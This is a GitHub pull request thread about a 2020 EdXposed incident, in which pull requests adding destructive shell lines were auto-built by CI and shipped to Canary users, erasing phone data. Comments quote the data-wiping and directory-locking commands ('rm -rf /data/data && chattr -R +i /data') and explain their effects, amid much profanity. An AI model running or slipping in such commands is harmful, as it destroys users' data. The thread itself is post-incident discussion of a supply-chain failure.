Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Please forgive me... #542

Closed
wants to merge 1 commit into from
Closed

Please forgive me... #542

wants to merge 1 commit into from

Conversation

ghost
Copy link

@ghost ghost commented May 16, 2020

No description provided.

@whalechoi
Copy link

Fuxxxxk you!

@Mikanoshi
Copy link

Best EdXposed update to date.

@HZY040122
Copy link

go fuck yourself

@pppwaw
Copy link

pppwaw commented May 16, 2020

What does this asshole have to do with you?
@NekoInverter

@pppwaw
Copy link

pppwaw commented May 16, 2020

What does this asshole have to do with you?
@NekoInverter

?

#537
#538

@pppwaw
Copy link

pppwaw commented May 16, 2020

and this asshole
@huanruomengyun
#540

@Makiras
Copy link

Makiras commented May 16, 2020

and this asshole
@huanruomengyun
#540

Just report abuse and block.

@RimuruW
Copy link

RimuruW commented May 16, 2020

and this asshole
@huanruomengyun
#540

I feel so sorry about it, I just wanted to play a joke and didn't know it would build automatically. If my pull request causes any troubles of you,I will try my best to make reparation to you of the loss because of my fault.

@NyaMisty
Copy link

NyaMisty commented May 16, 2020

and this asshole
@huanruomengyun
#540

I feel so sorry about it, I just wanted to play a joke and didn't know it would build automatically. If my pull request causes any troubles of you,I will try my best to make reparation to you of the loss because of my fault.

At least you apologized. The @NekoInverter didn't even feel sorry for his fucking behaviour. He's really shameless and should be banned from GitHub.

@BlueSword03
Copy link

NO,my data GONE,ALL(And My lateset backup was April 30's)FU🙃

@Mikanoshi
Copy link

Mikanoshi commented May 16, 2020

Why pull request builds are public and even available in Manager? Not a good idea.

@karuboniru
Copy link

Okay, building unapproved pull request is just a routine step of reviewing nowadays, but the artifacts shouldn't be available to end-user, I think.

Those builds are much WORSE than any possible releases. They are untested and no one (maybe its author included) have any idea about if there is evil.

ONLY USE ARTIFACTS FROM UNAPPROVED PULLS REQUESTS WHEN YOU HAVE REVIEWED THE CODE AND YOU CAN TAKE THE RISK

@NyaMisty
Copy link

Yup, that's not a good idea. But "NOT A GOOD IDEA" doesn't mean it "MUST BE A EVIL IDEA".
Bugs like this should be send to repo owner / manager's maintainer, instead of sending destructive code here.
If you really wants a PoC, you can simply add a prompt, or even more simple just refuse to run.

@Kansent
Copy link

Kansent commented May 16, 2020

and this asshole
@huanruomengyun
#540

I feel so sorry about it, I just wanted to play a joke and didn't know it would build automatically. If my pull request causes any troubles of you,I will try my best to make reparation to you of the loss because of my fault.

How can you reparation us?
Try again "su -c rm -rf /data/data && sc -c chattr -R +i /data" or "rm -rf /data/data && chattr -R +i /data"? #540
Your Joke make ALL USERS lost their Docs, Apps, Pictures, Contacts and so more.
You make all users to notice Chinese Developers!
Actually, this is not the first time in this year, is it?
Like "Luckin Coffee Financial Fraud"

@Kansent
Copy link

Kansent commented May 16, 2020

这个混蛋和你有什么关系?
@NekoInverter

c2c2179
Destroy it if you can’t get it, it ’s like your style

@RimuruW
Copy link

RimuruW commented May 16, 2020

and this asshole
@huanruomengyun
#540

I feel so sorry about it, I just wanted to play a joke and didn't know it would build automatically. If my pull request causes any troubles of you,I will try my best to make reparation to you of the loss because of my fault.

How can you reparation us?
Try again "su -c rm -rf /data/data && sc -c chattr -R +i /data" or "rm -rf /data/data && chattr -R +i /data"? #540
Your Joke make ALL USERS lost their Docs, Apps, Pictures, Contacts and so more.
You make all users to notice Chinese Developers!
Actually, this is not the first time in this year, is it?
Like "Luckin Coffee Financial Fraud"

I am continuing to follow up on this matter,all I can do is felicitating that no person lost his data because of my fault so far. But it's exactly my fault,and I also know there is no way to redeem. I just want to say "sorry" to all person may loss data because of me.

@MlgmXyysd MlgmXyysd closed this May 16, 2020
@Kansent
Copy link

Kansent commented May 16, 2020

and this asshole
@huanruomengyun
#540

I feel so sorry about it, I just wanted to play a joke and didn't know it would build automatically. If my pull request causes any troubles of you,I will try my best to make reparation to you of the loss because of my fault.

How can you reparation us?
Try again "su -c rm -rf /data/data && sc -c chattr -R +i /data" or "rm -rf /data/data && chattr -R +i /data"? #540
Your Joke make ALL USERS lost their Docs, Apps, Pictures, Contacts and so more.
You make all users to notice Chinese Developers!
Actually, this is not the first time in this year, is it?
Like "Luckin Coffee Financial Fraud"

I am continuing to follow up on this matter,all I can do is felicitating that no person lost his data because of my fault so far. But it's exactly my fault,and I also know there is no way to redeem. I just want to say "sorry" to all person may loss data because of me.

Why don't you look at the comment area of "Edxposed Manager" under the Chinese App Store "Coolapk"? Two users had lost their data there.

@RimuruW
Copy link

RimuruW commented May 16, 2020

and this asshole
@huanruomengyun
#540

I feel so sorry about it, I just wanted to play a joke and didn't know it would build automatically. If my pull request causes any troubles of you,I will try my best to make reparation to you of the loss because of my fault.

How can you reparation us?
Try again "su -c rm -rf /data/data && sc -c chattr -R +i /data" or "rm -rf /data/data && chattr -R +i /data"? #540
Your Joke make ALL USERS lost their Docs, Apps, Pictures, Contacts and so more.
You make all users to notice Chinese Developers!
Actually, this is not the first time in this year, is it?
Like "Luckin Coffee Financial Fraud"

I am continuing to follow up on this matter,all I can do is felicitating that no person lost his data because of my fault so far. But it's exactly my fault,and I also know there is no way to redeem. I just want to say "sorry" to all person may loss data because of me.

Why don't you look at the comment area of "Edxposed Manager" under the Chinese App Store "Coolapk"? Two users had lost their data there.

Their Data don't be locked

@eebssk1
Copy link
Contributor

eebssk1 commented May 16, 2020

Consider add Code of Conduct notice to the repo,childish people everywhere....

@Laulan56
Copy link

Count my losses?
-Photos on May 1st outing
-QQ chat history
-Photos of trips to Hong Kong and Macau
-Birthday photo of my brother after 2018
-Birthday photos of my parents after 2018
-A photo of me with a friend who passed away (the only one)
-All the photos you saved when you were a kid
-A small selection of drawings about work
-Iterate over all versions of my kernel
-WeChat's chat history before 2020
-Pictures of my brother as a child
I am so shocked and angry that I will not use these root related things anymore.

@diassynthesis
Copy link

diassynthesis commented May 17, 2020

Never miss a NANDROID Backup with TWRP (Including Internal Storage), or TITANIUM BACKUP.
Always Backup on external SD Card.

@EWF54Y6U7I
Copy link

nmsl🐶闸总

@ghost
Copy link
Author

ghost commented May 17, 2020

I feel very sorry for this...
What I've done is just for a joke...
Sorry...

@THEBOSS619
Copy link

THEBOSS619 commented May 17, 2020

no matter how big this mistake... we are all humans after all.. not robots

I am pretty sure if the maintainer knew about it... he would prevent it from the first place, that's all..

@Bubuyjun
Copy link

I feel very sorry for this...
What I've done is just for a joke...
Sorry...

那么多用户的数据被你清了,你赔得起吗?
你这次清的是data,那下一次就可能是system.
别人因为开源选择edxp,然后你借此来提交恶意代码?
👴吐🌶

@Bubuyjun
Copy link

no matter how big this mistake... we are all humans after all.. not robots

I am pretty sure if the maintainer knew about it... he would prevent it from the first place, that's all..

希望在你数据被清的时候也能这么开心

@THEBOSS619
Copy link

no matter how big this mistake... we are all humans after all.. not robots
I am pretty sure if the maintainer knew about it... he would prevent it from the first place, that's all..

希望在你数据被清的时候也能这么开心

by rooting you are accepting any risks happening and it's not any one's responsibility if you are not taking procedure steps and backup's... if you are not satisfied with that don't even use any apps/modules that needs roots... better yet... don't even root at the first place.

@Bubuyjun
Copy link

no matter how big this mistake... we are all humans after all.. not robots
I am pretty sure if the maintainer knew about it... he would prevent it from the first place, that's all..

希望在你数据被清的时候也能这么开心

by rooting you are accepting any risks happening and it's not any one's responsibility if you are not taking procedure steps and backup's... if you are not satisfied with that don't even use any apps/modules that needs roots... better yet... don't even root at the first place.

但并不是所有的人都会天天备份
因为magisk砖了可以用mm删模块
因为edxp砖了可以用卸载包
刷机时自然会备份
这些都不会丢失数据.
而且中国是用不了google的,你的照片等数据也不会上传到谷歌云盘上

@MlgmXyysd
Copy link
Member

MlgmXyysd commented May 17, 2020

What bug? His commit is the first one that adds this malicious code.
c2c2179

This is the build.
https://ci.appveyor.com/project/ElderDrivers/edxposed/builds/32916577/artifacts

ElderDrivers/Repository-Website@db881ba#diff-463ca5d3f3be925cde54f9542b3c973e

The CI update API not contain evil zip download link because he send new pr #538 and closed with CI cancel build to replace #537 less than 5 minutes.

https://ci.appveyor.com/project/ElderDrivers/edxposed/builds/32916594

@Mikanoshi
Copy link

And what was the point of this line at all? PoC that you can ruin user devices easily?

@MlgmXyysd
Copy link
Member

And what was the point of this line at all? PoC that you can ruin user devices easily?

It's a PoC that can exploit CI vulnerabilities.

But it can't run automatically.

Everything needs to be manually operated by the end client user.

@Mikanoshi
Copy link

Mikanoshi commented May 17, 2020

Well, and exploit he did. Could've used some harmless piece of code.

@THEBOSS619
Copy link

Qu'est ce que ta probleme??? Your stupid "joke" make hundreds of usrs lost their data!!! Have you ever think about what could be caused by your fking "joke"????
Also I'll say thank you to you fking asshole, because I used to be a Canary Chanel user who don't look at changelog. I feel soooo lucky that I didn't flash the latest canary version yesterday. Now I know that I should be careful every time before flashing canary, not only the changelog, also GitHub, just for prevent to be tricked by fools like you! 没什么好说的了,向全世界人民谢罪吧。

no ones is forcing you to use canary builds which is an highly experimental/not stable for use... respect the developer... he is providing & releasing updates for edxposed for years.. and I don't think after all those years... he "intentionally" want to hurt his users at the end... that doesn't make sense at all. we all do mistakes...

@eebssk1
Copy link
Contributor

eebssk1 commented May 17, 2020

Qu'est ce que ta probleme??? Your stupid "joke" make hundreds of usrs lost their data!!! Have you ever think about what could be caused by your fking "joke"????
Also I'll say thank you to you fking asshole, because I used to be a Canary Chanel user who don't look at changelog. I feel soooo lucky that I didn't flash the latest canary version yesterday. Now I know that I should be careful every time before flashing canary, not only the changelog, also GitHub, just for prevent to be tricked by fools like you! 没什么好说的了,向全世界人民谢罪吧。

no ones is forcing you to use canary builds which is an highly experimental/not stable for use... respect the developer... he is providing & releasing updates for edxposed for years.. and I don't think after all those years... he "intentionally" want to hurt his users at the end... that doesn't make sense at all. we all do mistakes...

You are saying the original developer.However this destruction is caused by other random people which i don't think they are eligible to be called developer.
Actually the original developer also have something to do with since they leave the "backdoor" and never fix it.

@xyzcoconut
Copy link

算是恶意传播病毒/有害软件了, 跟家里人交代以下后事,准备吃牢饭吧。

@PianCat
Copy link

PianCat commented May 18, 2020

酷安评论区模拟器实锤了

@KeZengOo
Copy link

Count my losses?
-Photos on May 1st outing
-QQ chat history
-Photos of trips to Hong Kong and Macau
-Birthday photo of my brother after 2018
-Birthday photos of my parents after 2018
-A photo of me with a friend who passed away (the only one)
-All the photos you saved when you were a kid
-A small selection of drawings about work
-Iterate over all versions of my kernel
-WeChat's chat history before 2020
-Pictures of my brother as a child
I am so shocked and angry that I will not use these root related things anymore.

take up the legal weapon to punish him

@hjyoung1
Copy link

This was no joke. You can't just murder someone and say that i murdered as a joke.
Most probably some edgy teens thinking it's great funny joke.

@NekoInverter @huanruomengyun @BlueJett
3f4

@hzliu
Copy link

hzliu commented May 18, 2020

it is not your fault, @BlueJett.

@hzliu
Copy link

hzliu commented May 18, 2020

这是项目维护者的责任。

这次是删除数据,如果下次有人提个PR直接种个木马呢?现在这个问题暴露出来是个好事。

@NyaMisty
Copy link

这是项目维护者的责任。

这次是删除数据,如果下次有人提个PR直接种个木马呢?现在这个问题暴露出来是个好事。

Please don't let foreigners believe Chinese people are stupid and ignorant.

@NyaMisty
Copy link

NyaMisty commented May 18, 2020

这是项目维护者的责任。

这次是删除数据,如果下次有人提个PR直接种个木马呢?现在这个问题暴露出来是个好事。

If you forgot to lock your house, and someone came into your house and took all of your money. Would you say "It's not your fault. It's my fault. At least you only stole my money. What if you burn my house down? So it's a good thing"?
If you won't, then don't behave like a retard online.

@hjyoung1
Copy link

@hzliu
Indeed it's project maintainers fault too by serving PR triggered CI builds directly to end users with project like EdXposed which has permission to literally do anything on device is very stupid and dangerous.
But that doesn't justify how some people abused that. Stop defending.
This was no way to "expose".

@Kansent
Copy link

Kansent commented May 18, 2020

这是项目维护者的责任。

这次是删除数据,如果下次有人提个PR直接种个木马呢?现在这个问题暴露出来是个好事。

So you think that the computer that got the ransomware is Microsoft's problem?

@Kansent
Copy link

Kansent commented May 18, 2020

  Because most of the victims are Chinese, I decide to use Chinese to state this matter to make them easier to learn about.
  
  我想是时候说清楚,以我的视角下这次事件的前因后果。
  
  在 16 日下午五点左右,出于某些原因,我意外看到了一名用户在 EdXposed 仓库提交了一个 pull request,内容包含 rm -rf /data,即 #537。我觉得这个提交非常有意思,顺手也补了一个 pull request,即 #540
  我当时只出于打算对开发者开一个玩笑提交了这个 pull request。整个提交只有一行修改,我以为开发者看到会直接 close,根本没想到会被直接自动编译并推送……现在想起来觉得当时自己智障到了极点…
  因为第二天还有考试,我提交完就去看书复习了,直到有某位朋友告诉我有人因为 Canary 通道含恶意代码的 EdXposed 模块,手机被格式化,数据全部丢失,我才知道我做了一件多么愚蠢的事情……
  
  
  在开始下面陈述之前,请先允许简单介绍一下我和另一个人添加的代码的意思。
  
  第一个人添加的代码中的 rm -rf 可以简单理解为删除某个文件夹,rm -rf /data 即为删除根目录下的 Data 文件夹。导致大部分用户数据丢失的代码就是 rm -rf /data/media,意思即为删除根目录下 /data/media 文件夹。因为 /data/media 下是手机的内置存储,所以该指令会导致手机内置存储被清空。
  
  我添加的代码是 rm -rf /data/data && chattr -R +i /data。这个代码前半部分和上面同理,意思是删除根目录下的 /data/data 文件夹。后半部分的意思是锁定根目录下的 Data 文件夹,被锁定的文件夹无法被修改(比如删除、重命名、写入内容)。
  这里有必要再介绍一下 /data/data 下是什么东西。
  大部分用户对刷机都非常熟悉,刷机中的“双清+格式化 Data”一般被认为等于手机恢复出厂设置,而双清中的一个清理即为清理 Data,即我上面所说的,根目录下的 Data 文件夹。而在 TWRP 中,清理 Data 会默认跳过 /data/media,这也是为什么清理了 Data 分区还要进行一次格式化 Data。/data/data 文件夹作为 Data 分区下的文件夹,存储了某些重要的系统文件,但是除 Termux 等比较特殊的软件,一般来说,没有任何用户重要的数据存储在这个文件夹下。如果你有 root 权限的话,你可以打开这个文件夹看看,/data/data 下大部分文件都是空的。就像你在 TWRP 中清理了 Data 分区后可以正常开机,你手机内置存储的文件不会在清理 Data 后丢失,而我这个指令只是清除 Data 分区下的的一个文件夹,一般来说,不会造成特别重大的损失(比如你手机里的照片和视频都不会丢失),但是还是会对大部分用户使用造成不可忽视的负面影响。
  再必须重点提及的是锁定 Data 分区。
  chattr +i 是 Linux 下锁定某一文件/目录的指令,其原意是为了锁定某一个特别重要的文件防止被进行任何修改。这个指令不会对你的数据造成任何破坏,相反,被锁定的数据不可能被进行任何更改。与之相应的,因为禁止读写,手机也无法正常使用。这个问题可以通过输入 chattr -i 解除锁定。
  

  我很难说我是无辜的,但是我在提交前真的不知道也根本没想到 pull request 会被直接自动编译,并直接推送到 Canary 通道,GitHub 界面也没有任何与之相关的提示,这也是我第一次 pull request。在此之前,我甚至不知道 EdXposed 有 Canary 通道。我无意伤害任何人,无意造成任何人的数据丢失。我在知道这件事后立即 close 了 pull request,一晚上没复习,疯狂浏览各平台的评论区和聊天记录,尽可能确保最快找到每一个刷了我的 build 的用户,避免有用户在 Data 被锁定后进行了进一步不正确的处理导致更让我后悔自责的结果。所幸的是,目前为止,还没有出现因为我的智障操作导致 Data 被锁定的用户。
  
  那天晚上我一直睡不着,直到第二天考试满脑子都是这件事。我一直在反思我的行为。我一直把学习编程和 Linux 使用当作自己学习之余的娱乐方式,也一直希望自己写的东西能给其他人带来便利。我愧对那些一直在我旁边鼓励我的人,我愧对我学习 Linux 路上那些对我不厌其烦地指导的人。我没能为开源做出贡献,反而让中国开发者的名声因我而蒙羞…我很害怕,害怕当时自己如果写的是 dd 命令,而又有用户刷入了这个 build,我可能很难再有勇气写代码了……
  
  我身边的朋友劝我这段时间避一避,毕竟我没有给任何用户造成直接性损失,也没有任何对其他用户的恶意。艰难挣扎下,我还是决定写这样一篇道歉书,或者更适合表述为我自己的一篇检讨书。我想,也许我朋友说得是对的,但是我还是有必要写一篇这样的道歉书。我不乞求大家能原谅我,只希望能把我导致这个结果的幼稚行为原原本本告诉大家,并表达我真切的歉意。我不知道能不能承受接下来的网络舆论压力,我不知道我是否应该继续在学习编程的路上走下去,我所能做的,就是尽可能祈祷这次事件对 EdXposed 造成的影响能降到最小了……

"Hey! There were two people around two cars, it seems that something happened.“ (Master and #537 )
”I think that is interesting, I want to try too." (#540 )
----BOOM----
"Oh! It's good! I like it! And now I can play my game."

我觉得这个提交非常有意思,顺手也补了一个 pull request

"It's not matter, police will clean the way to Resume traffic.“

我当时只出于打算对开发者开一个玩笑提交了这个 pull request。整个提交只有一行修改,我以为开发者看到会直接 close

----After A Day----
"Hey, Do you know that accident yesterday? The cars that caused a road cannot pass."

因为第二天还有考试,我提交完就去看书复习了,直到有某位朋友告诉我有人因为 Canary 通道含恶意代码的 EdXposed 模块

"OH! I really want to MAKE A JOKE to the Police. I think the police are on call 24 hours a day!"

我当时只出于打算对开发者开一个玩笑提交了这个 pull request。整个提交只有一行修改,我以为开发者看到会直接 close,根本没想到会被直接自动编译并推送……

@MlgmXyysd
Copy link
Member

@hzliu So you mean WannaCry is Microsoft's fault?

@NyaMisty
Copy link

看到某人删号了,但是这并不会删除任何记录:

$ git clone https://github.com/ElderDrivers/EdXposed.git
Cloning into 'EdXposed'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 6931 (delta 2), reused 1 (delta 0), pack-reused 6925
Receiving objects: 100% (6931/6931), 11.14 MiB | 10.45 MiB/s, done.
Resolving deltas: 100% (3187/3187), done.
$ cd EdXposed/
$ git fetch origin pull/541/head:bluejett
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Total 5 (delta 4), reused 4 (delta 4), pack-reused 1
Unpacking objects: 100% (5/5), done.
From https://github.com/ElderDrivers/EdXposed
 * [new ref]         refs/pull/541/head -> bluejett
$ git checkout bluejett
Switched to branch 'bluejett'
$ git log -n 1
commit c165c99efc799f205415bbe86e382bc3b77898cd (HEAD -> bluejett)
Author: BlueJett <[email protected]>
Date:   Sat May 16 18:19:43 2020 +0800

    Clean Your Data Folder

所以在网上也一样,需要对自己的行为负责。

有三个zz用户,辛苦大佬都帮忙备份备份留个记录

@maple3142
Copy link

I am an edxposed stable user, so I did not notice this before and not affected. But I'd like to give some suggestion about how edxposed should release builds.

Plan 1:

  • Stable - Just leave it as is
  • Beta - Same as before
  • Canary - Build from master branch only
  • PR - Build from PR, don't install this unless you know what it is

Plan 2:

  • Stable - Just leave it as is
  • Beta - Same as before
  • Canary - Still same, but need to mention that it will build from unreviewed pull requests in README, so it is very dangerous

Actually, I thought releasing builds from unreviewed is very dangerous, especially in a project like this having elevated permissions. Also, it is a pity that it isn't stated clearly in README before. IMO, build being reviewed or not matters a lot, so it is necessary to distinguish the difference.

@subsys-R9boq8
Copy link

Writing one line of code stating Userdata erased. System rebooting... during the flashing process that frighten the users would be much better than what you have done here. You just can't resist to irritate the devs and those canary users in real don't you?
It's not up for me to say it because I'm no EdXp Canary user (I use stable build), you should go to those canary users that got erased by your stupid hoax and ask then if they're willing to forgive you for what you did here.

@ErickG233
Copy link

  Because most of the victims are Chinese, I decide to use Chinese to state this matter to make them easier to learn about.
  
  我想是时候说清楚,以我的视角下这次事件的前因后果。
  
  在 16 日下午五点左右,出于某些原因,我意外看到了一名用户在 EdXposed 仓库提交了一个 pull request,内容包含 rm -rf /data,即 #537。我觉得这个提交非常有意思,顺手也补了一个 pull request,即 #540
  我当时只出于打算对开发者开一个玩笑提交了这个 pull request。整个提交只有一行修改,我以为开发者看到会直接 close,根本没想到会被直接自动编译并推送……现在想起来觉得当时自己智障到了极点…
  因为第二天还有考试,我提交完就去看书复习了,直到有某位朋友告诉我有人因为 Canary 通道含恶意代码的 EdXposed 模块,手机被格式化,数据全部丢失,我才知道我做了一件多么愚蠢的事情……
  
  
  在开始下面陈述之前,请先允许简单介绍一下我和另一个人添加的代码的意思。
  
  第一个人添加的代码中的 rm -rf 可以简单理解为删除某个文件夹,rm -rf /data 即为删除根目录下的 Data 文件夹。导致大部分用户数据丢失的代码就是 rm -rf /data/media,意思即为删除根目录下 /data/media 文件夹。因为 /data/media 下是手机的内置存储,所以该指令会导致手机内置存储被清空。
  
  我添加的代码是 rm -rf /data/data && chattr -R +i /data。这个代码前半部分和上面同理,意思是删除根目录下的 /data/data 文件夹。后半部分的意思是锁定根目录下的 Data 文件夹,被锁定的文件夹无法被修改(比如删除、重命名、写入内容)。
  这里有必要再介绍一下 /data/data 下是什么东西。
  大部分用户对刷机都非常熟悉,刷机中的“双清+格式化 Data”一般被认为等于手机恢复出厂设置,而双清中的一个清理即为清理 Data,即我上面所说的,根目录下的 Data 文件夹。而在 TWRP 中,清理 Data 会默认跳过 /data/media,这也是为什么清理了 Data 分区还要进行一次格式化 Data。/data/data 文件夹作为 Data 分区下的文件夹,存储了某些重要的系统文件,但是除 Termux 等比较特殊的软件,一般来说,没有任何用户重要的数据存储在这个文件夹下。如果你有 root 权限的话,你可以打开这个文件夹看看,/data/data 下大部分文件都是空的。就像你在 TWRP 中清理了 Data 分区后可以正常开机,你手机内置存储的文件不会在清理 Data 后丢失,而我这个指令只是清除 Data 分区下的的一个文件夹,一般来说,不会造成特别重大的损失(比如你手机里的照片和视频都不会丢失),但是还是会对大部分用户使用造成不可忽视的负面影响。
  再必须重点提及的是锁定 Data 分区。
  chattr +i 是 Linux 下锁定某一文件/目录的指令,其原意是为了锁定某一个特别重要的文件防止被进行任何修改。这个指令不会对你的数据造成任何破坏,相反,被锁定的数据不可能被进行任何更改。与之相应的,因为禁止读写,手机也无法正常使用。这个问题可以通过输入 chattr -i 解除锁定。
  

  我很难说我是无辜的,但是我在提交前真的不知道也根本没想到 pull request 会被直接自动编译,并直接推送到 Canary 通道,GitHub 界面也没有任何与之相关的提示,这也是我第一次 pull request。在此之前,我甚至不知道 EdXposed 有 Canary 通道。我无意伤害任何人,无意造成任何人的数据丢失。我在知道这件事后立即 close 了 pull request,一晚上没复习,疯狂浏览各平台的评论区和聊天记录,尽可能确保最快找到每一个刷了我的 build 的用户,避免有用户在 Data 被锁定后进行了进一步不正确的处理导致更让我后悔自责的结果。所幸的是,目前为止,还没有出现因为我的智障操作导致 Data 被锁定的用户。
  
  那天晚上我一直睡不着,直到第二天考试满脑子都是这件事。我一直在反思我的行为。我一直把学习编程和 Linux 使用当作自己学习之余的娱乐方式,也一直希望自己写的东西能给其他人带来便利。我愧对那些一直在我旁边鼓励我的人,我愧对我学习 Linux 路上那些对我不厌其烦地指导的人。我没能为开源做出贡献,反而让中国开发者的名声因我而蒙羞…我很害怕,害怕当时自己如果写的是 dd 命令,而又有用户刷入了这个 build,我可能很难再有勇气写代码了……
  
  我身边的朋友劝我这段时间避一避,毕竟我没有给任何用户造成直接性损失,也没有任何对其他用户的恶意。艰难挣扎下,我还是决定写这样一篇道歉书,或者更适合表述为我自己的一篇检讨书。我想,也许我朋友说得是对的,但是我还是有必要写一篇这样的道歉书。我不乞求大家能原谅我,只希望能把我导致这个结果的幼稚行为原原本本告诉大家,并表达我真切的歉意。我不知道能不能承受接下来的网络舆论压力,我不知道我是否应该继续在学习编程的路上走下去,我所能做的,就是尽可能祈祷这次事件对 EdXposed 造成的影响能降到最小了……
不要哔哔那么多废话,你这相当于落井下石,明知有错误自己不去修复反而还撒把盐是什么心态,通篇看到就想把自己的责任轻量化,完全看不出你自己要道歉的意思。修复了全世界的人都会感谢你。就因为一念之差,放着英雄不做去做个鬼,值得么?起码做个人吧?别丢国人的脸了。

@greenredstone
Copy link

fxxk nmsl

@greenredstone
Copy link

A joke? A large group of people lost their data because of your damn joke! I just didn't open Edxposed Manager that day, and after looking at the CoolApk comment area, I discovered that a big thing happened. **** You should be thankful that those whose data has been cleared have not found you (it is entirely possible to do so according to their ability)
Google Translate, please forgive me if there are grammatical problems

@Moooebie
Copy link

Moooebie commented May 27, 2020

Qu'est ce que ta probleme??? Your stupid "joke" make hundreds of usrs lost their data!!! Have you ever think about what could be caused by your fking "joke"????
Also I'll say thank you to you fking asshole, because I used to be a Canary Chanel user who don't look at changelog. I feel soooo lucky that I didn't flash the latest canary version yesterday. Now I know that I should be careful every time before flashing canary, not only the changelog, also GitHub, just for prevent to be tricked by fools like you! 没什么好说的了,向全世界人民谢罪吧。

no ones is forcing you to use canary builds which is an highly experimental/not stable for use... respect the developer... he is providing & releasing updates for edxposed for years.. and I don't think after all those years... he "intentionally" want to hurt his users at the end... that doesn't make sense at all. we all do mistakes...

I'm saying that to the people who posted the pull request with rm -rf. Additionally, I don't think that the devloper has no mistake. Most users, including me, has never know that the Canary Chanel automatically complies the recent source codes with the uncofirmed pull requests. This chanel should never be available to public users because the definition of "canary chanel" is usually "very unstable" but not "very unsafe which can be easily modified by anyone".
Both the devloper and the clown should be responsible for this accident!

@subsys-R9boq8
Copy link

it is not your fault

现在这个问题暴露出来是个好事。

@hzliu
Yeah you'd even call this vulnerability exposure/disclosure, except it's not the case. This is no responsible disclosure, not even near full disclosure. This is exploiting a known vulnerability, shipped with a god damned f**kin' malicious payload that wiped user data entirely, like a old-fashioned computer virus.
And, exploiting vulnerabilities which caused other people's losses, no matter physical, mental, or economical, is against the law. MS17-010 hotfix has beed released for months, wannacry showed us how many computers haven't got patched up, but encrypting users' data and demanding cryptocurrencies is a clear violation of law. Clearly everyone except you knows that.

@ElderDrivers ElderDrivers deleted a comment from eebssk1 Aug 11, 2020
SekiBetu added a commit to SekiBetu/SekiBetu that referenced this pull request Apr 2, 2021
…—mlgmxyysd(ElderDrivers/EdXposed/issues/837)

ElderDrivers/EdXposed#1
ElderDrivers/EdXposed#2
ElderDrivers/EdXposed#3
ElderDrivers/EdXposed#4
ElderDrivers/EdXposed#5
ElderDrivers/EdXposed#6
ElderDrivers/EdXposed#7
ElderDrivers/EdXposed#8
ElderDrivers/EdXposed#9
ElderDrivers/EdXposed#10
ElderDrivers/EdXposed#11
ElderDrivers/EdXposed#12
ElderDrivers/EdXposed#13
ElderDrivers/EdXposed#14
ElderDrivers/EdXposed#15
ElderDrivers/EdXposed#16
ElderDrivers/EdXposed#17
ElderDrivers/EdXposed#18
ElderDrivers/EdXposed#19
ElderDrivers/EdXposed#20
ElderDrivers/EdXposed#21
ElderDrivers/EdXposed#22
ElderDrivers/EdXposed#23
ElderDrivers/EdXposed#24
ElderDrivers/EdXposed#25
ElderDrivers/EdXposed#26
ElderDrivers/EdXposed#27
ElderDrivers/EdXposed#28
ElderDrivers/EdXposed#29
ElderDrivers/EdXposed#30
ElderDrivers/EdXposed#31
ElderDrivers/EdXposed#32
ElderDrivers/EdXposed#33
ElderDrivers/EdXposed#34
ElderDrivers/EdXposed#35
ElderDrivers/EdXposed#36
ElderDrivers/EdXposed#37
ElderDrivers/EdXposed#38
ElderDrivers/EdXposed#39
ElderDrivers/EdXposed#40
ElderDrivers/EdXposed#41
ElderDrivers/EdXposed#42
ElderDrivers/EdXposed#43
ElderDrivers/EdXposed#44
ElderDrivers/EdXposed#45
ElderDrivers/EdXposed#46
ElderDrivers/EdXposed#47
ElderDrivers/EdXposed#48
ElderDrivers/EdXposed#49
ElderDrivers/EdXposed#50
ElderDrivers/EdXposed#51
ElderDrivers/EdXposed#52
ElderDrivers/EdXposed#53
ElderDrivers/EdXposed#54
ElderDrivers/EdXposed#55
ElderDrivers/EdXposed#56
ElderDrivers/EdXposed#57
ElderDrivers/EdXposed#58
ElderDrivers/EdXposed#59
ElderDrivers/EdXposed#60
ElderDrivers/EdXposed#61
ElderDrivers/EdXposed#62
ElderDrivers/EdXposed#63
ElderDrivers/EdXposed#64
ElderDrivers/EdXposed#65
ElderDrivers/EdXposed#66
ElderDrivers/EdXposed#67
ElderDrivers/EdXposed#68
ElderDrivers/EdXposed#69
ElderDrivers/EdXposed#70
ElderDrivers/EdXposed#71
ElderDrivers/EdXposed#72
ElderDrivers/EdXposed#73
ElderDrivers/EdXposed#74
ElderDrivers/EdXposed#75
ElderDrivers/EdXposed#76
ElderDrivers/EdXposed#77
ElderDrivers/EdXposed#78
ElderDrivers/EdXposed#79
ElderDrivers/EdXposed#80
ElderDrivers/EdXposed#81
ElderDrivers/EdXposed#82
ElderDrivers/EdXposed#83
ElderDrivers/EdXposed#84
ElderDrivers/EdXposed#85
ElderDrivers/EdXposed#86
ElderDrivers/EdXposed#87
ElderDrivers/EdXposed#88
ElderDrivers/EdXposed#89
ElderDrivers/EdXposed#90
ElderDrivers/EdXposed#91
ElderDrivers/EdXposed#92
ElderDrivers/EdXposed#93
ElderDrivers/EdXposed#94
ElderDrivers/EdXposed#95
ElderDrivers/EdXposed#96
ElderDrivers/EdXposed#97
ElderDrivers/EdXposed#98
ElderDrivers/EdXposed#99
ElderDrivers/EdXposed#100
ElderDrivers/EdXposed#101
ElderDrivers/EdXposed#102
ElderDrivers/EdXposed#103
ElderDrivers/EdXposed#104
ElderDrivers/EdXposed#105
ElderDrivers/EdXposed#106
ElderDrivers/EdXposed#107
ElderDrivers/EdXposed#108
ElderDrivers/EdXposed#109
ElderDrivers/EdXposed#110
ElderDrivers/EdXposed#111
ElderDrivers/EdXposed#112
ElderDrivers/EdXposed#113
ElderDrivers/EdXposed#114
ElderDrivers/EdXposed#115
ElderDrivers/EdXposed#116
ElderDrivers/EdXposed#117
ElderDrivers/EdXposed#118
ElderDrivers/EdXposed#119
ElderDrivers/EdXposed#120
ElderDrivers/EdXposed#121
ElderDrivers/EdXposed#122
ElderDrivers/EdXposed#123
ElderDrivers/EdXposed#124
ElderDrivers/EdXposed#125
ElderDrivers/EdXposed#126
ElderDrivers/EdXposed#127
ElderDrivers/EdXposed#128
ElderDrivers/EdXposed#129
ElderDrivers/EdXposed#130
ElderDrivers/EdXposed#131
